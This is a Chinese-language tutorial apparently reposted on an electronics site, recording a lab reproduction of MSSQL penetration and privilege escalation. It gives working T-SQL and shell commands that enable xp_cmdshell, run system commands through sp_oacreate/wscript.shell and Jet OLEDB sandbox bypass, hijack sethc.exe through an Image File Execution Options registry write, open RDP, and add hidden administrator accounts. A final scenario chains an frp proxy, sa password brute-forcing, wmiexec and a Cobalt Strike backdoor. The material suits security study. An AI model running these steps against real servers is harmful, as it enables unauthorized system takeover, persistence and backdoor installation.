0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

数据库安全之MSSQL渗透

jf_Fo0qk3ln 来源:菜鸟学信安 2023-02-15 11:30 次阅读

本篇文章是MSSQL数据库漏洞提权复现记录,记录了实际中常见的MSSQL数据库漏洞并如何利用,对漏洞底层的原理简单分析,主要分为五个部分:MSSQL简介、MSSQL各版本安装、MSSQL基本操作、MSSQL漏洞复现提权和自建内网环境实战。

本篇文章由浅入深地介绍了系统存储过程控制不当导致提权如sp_oacreate和sp_oamethod、扩展存储过程使用不当提权如xp_cmdshell和xp_regwrite、沙盒提权及映像劫持。在学习MSSQL过程中也阅读了几十篇中英文MSSQL相关技术文章,最终按照作者我的思路进行总结,相关参考文章也在文中有列出。此外,文中可能会出现部分错误,望读者指出,谢谢。接着,开始我们的MSSQL数据库渗透学习!!

一、MSSQL简介

MSSQL(MicroSoft SQL Server数据库),是微软开发的关系型数据库管理系统DBMS,是一个较大型的数据库,提供数据库的从服务器到终端的完整的解决方案,数据库管理系统SSMS(SQL Server Managerment Studio),是一个用于建立、使用和维护数据库的集成开发环境。端口号:1433

SA用户

在搭建时,选择使用SQL Server身份验证会创建SA账户并设置密码,SA(System Administrator)表示系统管理员,在SQLServer2019之前的SA用户都是系统最高权限用户SYSTEM,但在2019版本时为普通数据库用户mssqlserver,是一个低权用户。

MSSQL权限级别

sa权限:数据库操作,文件管理,命令执行,注册表读取等价于system,SQLServer数据库的最高权限

db权限:文件管理,数据库操作等价于 users-administrators

public权限:数据库操作等价于 guest-users

存储过程

MSSQL的存储过程是一个可编程的函数,它在数据库中创建并保存,是使用T_SQL编写的代码段,目的在于能够方便的从系统表中查询信息。数据库中的存储过程可以看做是对编程中面向对象方法的模拟。它允许控制数据的访问方式,使用execute命令执行存储过程。(可以将存储过程理解为函数调用的过程)

简单来说,存储过程就是一条或者多条sql语句的集合,可视为批处理文件

存储过程可分为三类:系统存储过程:主要存储在master数据库中,以”sp_“为前缀,在任何数据库中都可以调用,在调用的时候不必在存储过程前加上数据库名扩展存储过程:是对动态链接库(DLL)函数的调用,主要是用于客户端与服务器端或客户端之间进行通信的,以“xp**_“为前缀,使用方法与系统存储过程类似用户定义的存储过程:**是SQLServer的使用者编写的存储过程

系统数据库

系统数据库默认创建时就会存在,有以下4种

2614199e-ac54-11ed-bfe3-dac502259ad0.jpg

数据库名 含义
master master数据库控制SQLserver数据库所有方面。这个数据库中包括了所有的配置信息、用户登录信息、当前正在服务器中运行的过程的信息等。
model model数据库是建立所有用户数据库时的模版。新建数据库时,SQLserver会把model数据库中的所有对象建立一份拷贝并移到新数据库中。在模版对象被拷贝到新的用户数据库中之后,该数据库的所有多余空间都将被空页填满。
msdb msdb数据库是SQLserver数据库中的特例,若想查看此数据库的实际定义,会发现它其实是一个用户数据库。所有的任务调度、报警、操作员都存储在msdb数据库中。该库的另一个功能是用来存储所有备份历史。SQLserver agent将会使用这个库。
tempdb 据库是一个非常特殊的数据库,供所有来访问你的SQL Server的用户使用。这个库用来保存所有的临时表、存储过程和其他SQL Server建立的临时用的东西。例如,排序时要用到tempdb数据库。数据被放进tempdb数据库,排完序后再把结果返回给用户。每次SQL Server重新启动,它都会清空tempdb数据库并重建。永远不要在tempdb数据库建立需要永久保存的表。

MSSQL注入

MSSQL注入与普通的MYSQL注入类似,但在数据结构特定函数名称上有些差异。而使用经过语法扩展的T-SQL语句,在实现更为复杂的业务的同时,也带来了安全上的危险。因此MSSQL在后续提权部分,与MYSQL有着较大的差异。由于该数据库与Windows平台的高契合度,使其可以使用Windows身份验证(或SA管理员账号),这就导致其运行权限较高。因此,若后续权限没有限制准确,WEB代码又存在SQL注入时,就会给整个服务器的安全带来严重威胁,其后果一般比Mysql被攻破要严重。

二、软件安装及环境搭建

1、MSSQL 2019安装

Win2016 + MSSQL2019

下载地址:https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads

选择SQL Server 2019 Express Edition版本

安装过程百度即可,这里记录其中较关键的地方:

安装类型选择-基本(B)
实例配置选择-默认实例
服务器配置选择-混合模式(SQL Server身份验证和Windows 身份验证)(M)
配置SQL Server系统管理员SA的密码(我设置密码为123.com

安装SQL Server Managerment Studio|SSMS

安装完SQL Server Express版本后,可以直接选择安装SSMS

2633dc34-ac54-11ed-bfe3-dac502259ad0.jpg

在点击"安装SSMS"弹出网页内选择下载SSMS
点击该程序,默认安装即可

2、MSSQL 2008 x64 安装

Win2016 + MSSQL2008

下载地址:

https://www.microsoft.com/zh-CN/download/details.aspx?id=30438

下载如图两个文件

265a446e-ac54-11ed-bfe3-dac502259ad0.jpg

先安装SQLEXPR_x64_CHS.exe

基本安装过程类似2019的,记录下重要部分

选择-全新安装
实例配置选择-默认实例
服务器配置选择-混合模式(SQL Server身份验证和Windows 身份验证)(M)
配置SQL Server系统管理员SA的密码(我设置密码为123.com

再安装SQLManagementStudio_x64_CHS.exe

提示没有安装.NET3.5,按下文步骤即可

https://www.cnblogs.com/labster/p/14863516.html

之后选择全新安装,默认下一步即可

3、MSSQL 2008 x32 安装

Win2003 + MSSQL2008

下载地址:

https://www.microsoft.com/zh-CN/download/details.aspx?id=30438

这里的32位系统环境用于复现第四部分的沙盒漏洞提权,相较于前两个数据库的安装,这里遇到了不少坑,较详细介绍下。使用Win2003 x32系统作为复现操作系统,由于年代久远加上03系统装08软件,记录下几个坑点。

1)启动SQLEXPR_x86_CHS.exe提示缺失程序

26889d64-ac54-11ed-bfe3-dac502259ad0.jpg

2)安装.NET 3.5

慢慢等待5分钟

26af8eba-ac54-11ed-bfe3-dac502259ad0.jpg

3)安装Windows_Installer4.5x86.exe

默认下一步

26db5ba8-ac54-11ed-bfe3-dac502259ad0.jpg

4)安装powershell2003x86-CHS.exe

270da19e-ac54-11ed-bfe3-dac502259ad0.jpg

其余安装过程类似,就不详细介绍了,附上安装工具包:

https://pan.baidu.com/s/15CngCBWign9fY1IrSt4_jg
密码:fm4v

三、MSSQL基本操作

1、SSMS连接数据库

连接本地数据库,在之前的设置中,我们设置了混杂模式,即可以使用SQL Server 身份验证或 Windows 身份验证登陆进数据库,点击启动SSMS

服务器名称可以填写主机名或本地ip地址 登录名和密码为sa:123.com

2722f3b4-ac54-11ed-bfe3-dac502259ad0.jpg

注意点:可以一开始会出现使用主机名可以登入上,但是使用ip登入不上的情况可以参考如下文章解决

https://blog.csdn.net/weixin_30740295/article/details/95535927

MSSQL设置允许通过ip登陆

(以2019版本为例,其余版本类似)

1)打开配置管理器

2748e268-ac54-11ed-bfe3-dac502259ad0.jpg

2)协议TCP/IP设置为开启

SQL Server 网络配置下的MSSQLSERVER的协议里启用TCP/IP协议

27726656-ac54-11ed-bfe3-dac502259ad0.jpg

3)开启远程登陆

先用主机名进行登陆

右键,打开数据库的属性

2795e162-ac54-11ed-bfe3-dac502259ad0.jpg

连接处勾选允许远程连接到此服务器

27b91f38-ac54-11ed-bfe3-dac502259ad0.jpg

4)关闭防火墙

这里用于渗透测试,直接全部关了

27e96724-ac54-11ed-bfe3-dac502259ad0.jpg

5)重启SSMS服务

打开管理员模式下的CMD

net stop mssqlserver
net start mssqlserver

之后就可以使用IP进行登陆

2814667c-ac54-11ed-bfe3-dac502259ad0.jpg

2、常见语句

右键系统数据库,新建查询

284359c8-ac54-11ed-bfe3-dac502259ad0.jpg

查看数据库版本

select @@VERSION

获取MSSQL中的所有数据库名


	
SELECT name FROM MASter..SysDatabASes ORDER BY name

查询所有数据库中的表名

SELECT SysObjects.name AS Tablename FROM sysobjects WHERE xtype = 'U' and sysstat<200

其余见MSSQL基础学习部分,自行百度

exec xp_dirtree 'c:'        # 列出所有c:文件、目录、子目录
exec xp_dirtree 'c:',1      # 只列c:目录
exec xp_dirtree 'c:',1,1    # 列c:目录、文件
exec xp_subdirs 'C:';       # 只列c:目录
select is_srvrolemember('sysadmin') # 判断是否是SA权限
select is_member('db_owner')        # 判断是否是db_owner权限
select is_srvrolemember('public')   # 判断是否是public权限
EXEC sp_configure 'Ole Automation Procedures'   #查看OLE Automation Procedures的当前设置

四、MSSQL漏洞复现

1、使用xp_cmdshell进行提权

xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后默认禁止,但未删除

0x01 xp_cmdshell简介

xp``_cmdshellSql Server中的一个组件,将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出。通常在拿到sa口令之后,可以通过xp``_cmdshell来进行提权

影响范围:

只要该数据库存在该组件,就可以利用

0x02 xp_cmdshell使用

1)查看xp_cmdshell状态

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

返回1表示xp``_cmdshell组件启用

也可以手动查看,右键数据库,打开Facets

286cd8b6-ac54-11ed-bfe3-dac502259ad0.jpg

在方面中选择外应用配置器,在方面属性中查看XP``CmdShellEnabled属性为True

288639a0-ac54-11ed-bfe3-dac502259ad0.jpg

2)开启xp_cmdshell组件

EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

28cd7892-ac54-11ed-bfe3-dac502259ad0.jpg

同样,关闭该组件的命令为

EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',0
RECONFIGURE

3)利用xp_cmdshell执行命令

执行系统命令

以下几条命令格式都可以用于执行系统命令

exec xp_cmdshell "whoami"
master..xp_cmdshell 'whoami'    (2008版上好像用不了)
EXEC master..xp_cmdshell "whoami"
EXEC master.dbo.xp_cmdshell "ipconfig"

28ec217a-ac54-11ed-bfe3-dac502259ad0.jpg

注意点:在MSSQL2019版本中,会使用mssqlserver用户而非system用户

0x03 模拟实战:远程命令执行创建用户

这里通过演示远程命令执行来模拟实战情况,远程MSSQL数据库版本为2008版 环境信息:

远程MSSQL数据库的IP:192.168.112.166

假设已经爆破得到了sa密码

创建用户联合wmiexec拿到shell
exec master..xp_cmdshell "net user test12 123.com /add"
exec master..xp_cmdshell "net localgroup administrators test12 /add"
exec master..xp_cmdshell "net user test12"

290ed378-ac54-11ed-bfe3-dac502259ad0.jpg

可以看到用户添加成功

29302a32-ac54-11ed-bfe3-dac502259ad0.jpg

后续可以登陆用户上传木马,上线CS,详情见本文第五部分:二级内网MSSQL渗透|上线CS

0x04 保护措施

将该xp_cmdshell存储过程删除即可

exec sp_dropextendedproc 'xp_cmdshell'

被删除后,重新添加xp``_cmdshell存储过程语句

EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int;
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll';

若想彻底删除xp_cmdshell扩展存储过程,建议在C盘里直接搜索xplog70.dll,然后删除xp_cmdshell

2、使用sp_oacreate进行提权|无回显

0x01 sp_oacreate简介

调用wscript.shel执行命令

sp_oacreate系统存储过程可以用于对文件删除、复制、移动等操作,还可以配合sp_oamethod系统存储过程调用系统wscript.shell来执行系统命令。sp_oacreatesp_oamethod两个过程分别用来创建和执行脚本语言。

系统管理员使用sp_configure启用sp_oacreatesp_oamethod系统存储过程对OLE自动化过程的访问(OLE Automation Procedures)

在效果方面,sp_oacreate、sp_oamethod两个过程和xp_cmdshell过程功能类似,因此可以替换使用!

利用条件:

1.已获取到sqlserver sysadmin权限用户的账号与密码且未降权(如2019版本sa用户权限为mssqlserver,已降权)

2.sqlserver允许远程连接

3.OLE Automation Procedures选项开启

0x02 sp_oacreate使用

1)查看sp_oacreate状态

select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE';

返回1表示存在sp_oacreate系统存储过程

2)启用OLE Automation Procedures选项

当启用 OLE Automation Procedures 时,对 sp_OACreate 的调用将会启动 OLE 共享执行环境。

exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures',1;
reconfigure;

294d599a-ac54-11ed-bfe3-dac502259ad0.jpg

类似的,关闭组件命令

exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures',0;
reconfigure;

3)利用sp_oacreate和sp_oamethod执行命令

写入文件

declare @shell int exec sp_oacreate 'wscript.shell',@shell output 
exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c whoami >c:\sqltest.txt';
回显0表示成功

297306ae-ac54-11ed-bfe3-dac502259ad0.jpg

由于这里是无回显的命令执行,到另一台主机上查看效果,成功写入。

29a3f0c0-ac54-11ed-bfe3-dac502259ad0.jpg

删除文件

declare @result int
declare @fso_token int
exec sp_oacreate 'scripting.filesystemobject', @fso_token out
exec sp_oamethod @fso_token,'deletefile',null,'c:sqltest.txt'
exec sp_oadestroy @fso_token

29c5547c-ac54-11ed-bfe3-dac502259ad0.jpg

可以看到文件已删除

29e91d76-ac54-11ed-bfe3-dac502259ad0.jpg

同样,也可以使用4.1中的创建用户进行登陆拿shell。

3、利用SQL Server 沙盒提权

0x01 SQL Server 沙盒简介

沙盒模式是一种安全功能,用于限制数据库只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性(如Kill 和 Shell 之类的函数),则可认为它是安全的。当数据库以沙盒模式运行时,调用这些函数的表达式将会产生错误消息。

沙盒提权的原理就是jet.oledb(修改注册表)执行系统命令。数据库通过查询方式调用mdb文件,执行参数,绕过系统本身自己的执行命令,实现mdb文件执行命令。

利用前提:

1.需要Microsoft.Jet.OLEDB.4.0一般在32位系统才可以,64位机需要12.0,较复杂

2.dnary.mdbias.mdb两个文件 在win2003上默认存在,也可自行准备

0x02 沙盒提权

复现环境

SQL Server2008 (Win2003-x32)
IP: 192.168.112.173

1)测试 jet.oledb 能否使用

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:windowssystem32iasias.mdb','select shell("cmd.exe /c whoami")')

2a12e066-ac54-11ed-bfe3-dac502259ad0.jpg

2)开启Ad Hoc Distributed Queries组件

exec sp_configure 'show advanced options',1 ;
reconfigure ;
exec sp_configure 'Ad Hoc Distributed Queries',1 ;
reconfigure;

2a359c3c-ac54-11ed-bfe3-dac502259ad0.jpg

类似的,关闭组件命令

exec sp_configure 'show advanced options',1 ;
reconfigure ;
exec sp_configure 'Ad Hoc Distributed Queries',0 ;
reconfigure;

3)关闭沙盒模式

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0;


沙盒模式`SandBoxMode`参数含义(默认是2
0:在任何所有者中禁止启用安全模式
1:为仅在允许范围内
2:必须在access模式下
3:完全开启

2a5833a0-ac54-11ed-bfe3-dac502259ad0.jpg

查看命令:

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines', 'SandBoxMode'

关闭命令:

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',2

4)执行命令

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("cmd.exe /c whoami >c:\sqltest.txt ")');

在win2003的c盘上看到已经创建了该文件,命令执行成功

2a769a66-ac54-11ed-bfe3-dac502259ad0.jpg

同样,可以创建用户

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net user testq QWEasd123 /add")');


Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net localgroup administrators testq /add")');


Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net user testq")');

4、使用xp_regwrite提权 | 映像劫持提权

2008以上,05未测试

0x01 简介

通过使用xp_regwrite存储过程对注册表进行修改,替换成任意值,造成镜像劫持。

前提条件:

1.未禁止注册表编辑(即写入功能)

2.xp_regwrite启用

0x02 映像劫持提权

1)查看xp_regwrite是否启用

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'

2)xp_regwrite开启与关闭

EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_regwrite',1
RECONFIGURE

2)利用regwrite函数修改组注册表进行劫持

EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:windowssystem32cmd.exe'

2a9ef196-ac54-11ed-bfe3-dac502259ad0.jpg

2)查看是否修改成功文件

exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe','Debugger'

2abadcda-ac54-11ed-bfe3-dac502259ad0.jpg

显示已修改为cmd.exe

在目标主机上查看,结果一致

2ad3ebee-ac54-11ed-bfe3-dac502259ad0.jpg

3)验证是否成功

连按5次粘滞键,弹出cmd框

2afbb1ec-ac54-11ed-bfe3-dac502259ad0.jpg

拓展:

上面对只是对粘滞键进行修改,类似的,可以在注册表中进行其他操作

删除指定注册表键值对

删除粘滞键的键值

xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe'

2b97d8ba-ac54-11ed-bfe3-dac502259ad0.jpg

到目标主机上查看,发现sethc.exe在注册表中的值已删除

2bb69890-ac54-11ed-bfe3-dac502259ad0.jpg

开启3389端口这里的xp``_regwrite为向注册表中写数据

execmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminalServer','fDenyTSConnections','REG_DWORD',0;
exec master..xp_cmdshell "REG ADD 'HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server' /v fDenyTSConnections /t REG_DWORD /d 0"

2bdab39c-ac54-11ed-bfe3-dac502259ad0.jpg

在注册表中也可以看到3389端口被打开

2bfba232-ac54-11ed-bfe3-dac502259ad0.jpg

0x03 参考

https://sqlandme.com/tag/xp_regwrite/

IFEO映像劫持在实战中的使用 - 知乎 (zhihu.com)

5、使用sp_makewebtask写文件

2005

一般可以用于web网站,写入后门文件

1)查看该组件

EXEC sp_configure 'Web Assistant Procedures'

2)开启该组件

exec sp_configure 'Web Assistant Procedures', 1; RECONFIGURE

报错,在SQLServer2005后好像都没有这个组件了

6、拓展&小结

常见的存储过程:

xp_cmdshell         执行系统命令
xp_fileexist        确定一个文件是否存在。
xp_getfiledetails   获得文件详细资料
xp_dirtree          展开你需要了解的目录,获得所有目录深度。
Xp_getnetname       获得服务器名称。


注册表访问的存储过程
Xp_regwrite
Xp_regread
Xp_regdeletekey
Xp_regaddmultistring
Xp_regdeletevalue
Xp_regenumvalues
Xp_regremovemultistring


OLE自动存储过程
Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty
Sp_OAMethod Sp_OASetProperty Sp_OAStop

五、二级内网MSSQL渗透|上线CS

这里模拟搭建二级内网环境,顺便复习下二级frp代理的搭建和内网穿透上线CS。环境配置信息如下

公网服务器
121.xx.xx.xx
Web服务器(目标站点)
192.168.73.137(对外)
10.10.10.101(对内)
域控
10.10.10.10
10.12.10.5
MSSQL服务器
10.12.10.3

这里假设已经获取到了Web服务器和域控的权限

1、搭建二级代理

1)在域控上传frpc.exefrpc.ini文件

#frpc.ini
[common]
server_addr = 10.10.10.101
server_port = 12010     # 连接端口
[http_proxy]
type = tcp
remote_port = 1084      # 代理端口
plugin = socks5

2)在Web服务器上传frpc.exe、frpc.ini、frps.exe、frps.ini文件


	
# frps.ini
[common]
bind_addr = 10.10.10.101
bind_port = 12010 


# frpc.ini
[common]
server_addr = 121.xx.xx.xx
server_port = 12010
[http_proxy]
type = tcp
local_ip = 10.10.10.101
local_port = 1084
remote_port = 1084

3)在公网服务器上传frps.exefrps.ini

#frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 12010

4)依次连接(由内到外)

web服务器
frps.exe -c frps.ini
域控
frpc.exe -c frpc.ini


公网服务器
frps.exe -c frps.ini
web服务器
frpc.exe -c frpc.ini

2、爆破sa密码

使用fscan扫描,顺便进行弱口令爆破,成功爆破出sa密码

2c190688-ac54-11ed-bfe3-dac502259ad0.jpg

也可以使用msf模块爆破

3、设置代理|远程登陆MSSQL

使用Proxifier设置代理,添加代理服务器信息

2c3e84da-ac54-11ed-bfe3-dac502259ad0.jpg

连接MSSQL数据库

2c63f436-ac54-11ed-bfe3-dac502259ad0.jpg

成功连接!!

2c82d7ac-ac54-11ed-bfe3-dac502259ad0.jpg

4、使用xp_cmdshell创建用户

这里也可以使用其他方法命令执行

1)查看开启xp_cmdshell组件

EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

2ca21dc4-ac54-11ed-bfe3-dac502259ad0.jpg

2)查看当前权限

exec master..xp_cmdshell "whoami"

2ccdf05c-ac54-11ed-bfe3-dac502259ad0.jpg

system权限,可以创建用户

3)创建用户并添加至管理员组

创建sqltest用户,密码为123.com

exec master..xp_cmdshell "net user test12 123.com /add"
exec master..xp_cmdshell "net localgroup administrators test12 /add"
exec master..xp_cmdshell "net user test12"

2cf2a424-ac54-11ed-bfe3-dac502259ad0.jpg

4)CS生成后门文件(中转监听器)

在域控上建立中转监听器

2d1444d0-ac54-11ed-bfe3-dac502259ad0.jpg

2d2e745e-ac54-11ed-bfe3-dac502259ad0.jpg

将生成好后的文件拷贝到kali上

5)使用wmiexec工具远程登陆

proxychains python3 wmiexec.py tset12:123.com@10.12.10.3

上传木马文件

2d5503c6-ac54-11ed-bfe3-dac502259ad0.jpg

6)成功上线CS

2d7636ae-ac54-11ed-bfe3-dac502259ad0.jpg

六、总结

本文介绍了几种提权拿shell的方法,主要是利用到了系统存储过程和扩展存储过程。最常见的xp_cmdshell可以用于执行系统命令,xp_regwrite、xp_regread用于注册表的读写进行映像劫持,sp_oacreate、sp_oamethod基于OLE Automation Procedures执行系统命令,不过无回显,基于沙盒的提权限制条件比较多且复杂,一般很少使用。


审核编辑 :李倩


声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 数据库
    +关注

    关注

    7

    文章

    3812

    浏览量

    64442
  • 函数
    +关注

    关注

    3

    文章

    4332

    浏览量

    62681
  • Shell
    +关注

    关注

    1

    文章

    366

    浏览量

    23400

原文标题:数据库安全之MSSQL渗透

文章出处:【微信号:菜鸟学信安,微信公众号:菜鸟学信安】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    用Delphi做中BDE连接SQL数据库(学习Delphi环境中数据库操作的方法和数据库应用程序

    ,包含ODBC驱动程序、MSSQL驱动程序、ORACLE驱动程序、SYSBASE驱动程序等数据库驱动程序。Aliases:这是IDAPI.CFG中最重要的设置内容,它负责记录数据库文件别名的关系,如此
    发表于 05-10 11:09

    安全数据库如何管理

    据我所知,关于BlueNrg-MS设备上绑定的编程手册部分,加密密钥存储在安全数据库中,以便解析地址并加密未来的数据连接。这一切似乎都按预期工作,但我不清楚如何管理安全数据库随着时间的推移,当许多
    发表于 03-04 16:41

    数据库安全性概述

    本文主讲 数据库安全性,欢迎阅读~????目录一、数据库安全性概述二、数据库安全性控制1. 用
    发表于 07-30 06:42

    数据库管理系统层次安全技术

    数据库管理系统层次安全技术 数据库系统的安全性很大程度上依赖于数据库管理系统。如果数据库管理系
    发表于 06-17 07:45 725次阅读

    数据库有什么安全需求?需要什么安全技术?

    数据库安全就是指保护数据库以防止非法使用所造成的信息泄露、更改或破坏。数据库已经在社会上和人们日常生活中占据了十分重要的地位。该文首先简要介绍了数据
    发表于 09-05 16:58 11次下载

    数据库学习入门资料如何进行数据库设计

    本文档的主要内容详细介绍的是数据库学习入门资料如何进行数据库设计主要内容包括了:数据库系统设计的1 概述2 需求分析3 概念设计4 逻辑设计5 物理设计6 实现设计7运行与维护
    发表于 10-25 16:29 14次下载
    <b class='flag-5'>数据库</b>学习入门资料<b class='flag-5'>之</b>如何进行<b class='flag-5'>数据库</b>设计

    什么是数据库安全数据库安全性的详细资料总结

    本文档的主要内容详细介绍的是什么是数据库安全数据库安全性的详细资料总结主要内容包括了:1.数据库安全
    发表于 10-30 16:11 6次下载
    什么是<b class='flag-5'>数据库</b><b class='flag-5'>安全</b>性<b class='flag-5'>数据库</b><b class='flag-5'>安全</b>性的详细资料总结

    数据库系统概论数据库管理系统详细资料概述

    本文档的主要内容详细介绍的是数据库系统概论数据库管理系统详细资料概述主要内容包括了:1、DBMS的基本功能2、 DBMS的进程结构和多线索机制3、DBMS系统结构4、语言处理5、数据
    发表于 11-15 15:12 0次下载
    <b class='flag-5'>数据库</b>系统概论<b class='flag-5'>之</b><b class='flag-5'>数据库</b>管理系统详细资料概述

    数据库系统概论如何进行数据库编程的资料概述

    本文档的主要内容详细介绍的是数据库系统概论如何进行数据库编程的资料概述主要内容包括了:1、嵌入式SQL 2、存储过程3、ODBC编程
    发表于 11-15 15:12 13次下载
    <b class='flag-5'>数据库</b>系统概论<b class='flag-5'>之</b>如何进行<b class='flag-5'>数据库</b>编程的资料概述

    关于数据库安全技术的概述

    数据库安全,是指以保护数据库系统、数据库服务器和数据库中的数据、应用、存储,以及相关网络连接为目
    发表于 06-24 17:23 1833次阅读

    MSSQL数据库服务器的命令查看存储过程详细资料说明

    本文档的主要内容详细介绍的是MSSQL数据库服务器的命令查看存储过程详细资料说明。
    发表于 11-01 17:29 10次下载

    上位机开发——数据库系列问题

    前言 前面已经给大家总结了一些关于数据库的问题,基本上大家遇到的数据库问题,都能从下面的文章中找到答案,希望大家可以收藏一下,遇到问题,可以一一对照去查找原因。 数据库系列特定实例错
    发表于 05-10 10:34 0次下载
    上位机开发——<b class='flag-5'>数据库</b>系列问题

    数据库和普通数据库区别?|PetaExpress云端数据库

    和持久性有四个特点。 云数据库和普通数据库相比都具备哪些优势? 1)安全稳定 云端数据库服务,能够帮助用户将危险的操作收缩起来,避免数据库
    的头像 发表于 08-01 17:13 1136次阅读

    数据库数据恢复—MSSQL Server报错“附加数据库错误823”的数据恢复案例

    MSSQL Server数据库比较常见的报错是“附加数据库错误823”。如果数据库有备份,只需要还原备份即可;如果无备份或者备份不可用,则需要使用专业的
    的头像 发表于 11-10 16:20 967次阅读
    <b class='flag-5'>数据库</b><b class='flag-5'>数据</b>恢复—<b class='flag-5'>MSSQL</b> Server报错“附加<b class='flag-5'>数据库</b>错误823”的<b class='flag-5'>数据</b>恢复案例

    数据库安全审计系统:筑牢数据安全防线 提高数据资产安全

    随着万物互联的技术演进,以及数字化转型的快速发展,数据库成为最具有战略性的数字资产载体,保障数据库安全也就保障了存储其中的数据安全
    的头像 发表于 07-17 13:38 739次阅读